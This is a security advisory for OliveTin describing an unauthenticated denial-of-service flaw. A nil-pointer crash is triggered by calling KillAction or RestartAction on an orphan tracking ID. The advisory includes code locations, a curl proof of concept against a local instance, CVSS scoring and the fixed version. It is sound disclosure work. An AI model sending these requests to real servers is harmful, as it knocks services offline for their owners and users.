GHSA-fwhj-785h-43hh json
OliveTin has crash on NPE by calling APIs with invalid bindings or log references
published 8mo ago modified 7mo ago also GO-2026-4621
- cvss
- 5.3
- version 3.1, GitHub
- cisa kev
- Not listed
- not in CISA's catalog
- epss
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- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
### Summary An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via `StartActionByGet` (invalid action ID), then calling `KillAction` or `RestartAction` on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (`Empty reply from server`), enabling denial of service through panic/log/CPU amplification.
### Details The issue is caused by this flow:
1. `StartActionByGet` accepts arbitrary `actionId` and still calls executor: - `service/internal/api/api.go:239`
2. Executor stores a log entry before binding validation: - `service/internal/executor/executor.go:519`
3. If binding is nil, execution stops, but the log entry remains: - `service/internal/executor/executor.go:781`
4. `KillAction` dereferences `execReqLogEntry.Binding.Action` without checking `Binding`: - `service/internal/api/api.go:79`
5. `RestartAction` has the same unsafe dereference: - `service/internal/api/api.go:1285`
Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.
### PoC Environment: - OliveTin default single frontend on `http://localhost:1337` - Reproduced on `main` (commit `235493e`) and tag `3000.11.0`
1) Create orphan tracking ID with invalid action: ```bash T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \ -H 'Content-Type: application/json' \ --data '{"actionId":"does-not-exist"}' \ | sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p') echo "$T"
2. Trigger panic in RestartAction:
curl -v -X POST http://localhost:1337/api/RestartAction \ -H 'Content-Type: application/json' \ --data "{\"executionTrackingId\":\"$T\"}"
3. Trigger panic in KillAction:
curl -v -X POST http://localhost:1337/api/KillAction \ -H 'Content-Type: application/json' \ --data "{\"executionTrackingId\":\"$T\"}"
Observed client output:
- curl: (52) Empty reply from server
Observed server log:
- panic serving ... runtime error: invalid memory address or nil pointer dereference - stack points to: - service/internal/api/api.go:79 (KillAction) - service/internal/api/api.go:1285 (RestartAction)
``` ### Impact
This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.
Patch / fix
- go github.com/OliveTin/OliveTin 0.0.0-20260304225158-bb14c5da3e64
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| assigned by | version | score | vector |
|---|---|---|---|
| GitHub | 3.1 | 5.3 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| go | github.com/OliveTin/OliveTin | <0.0.0-20260304225158-bb14c5da3e64 |
0.0.0-20260304225158-bb14c5da3e64 |
Classification
References
Sources
- GitHub Advisory GHSA-fwhj-785h-43hh
- OSV GO-2026-4621
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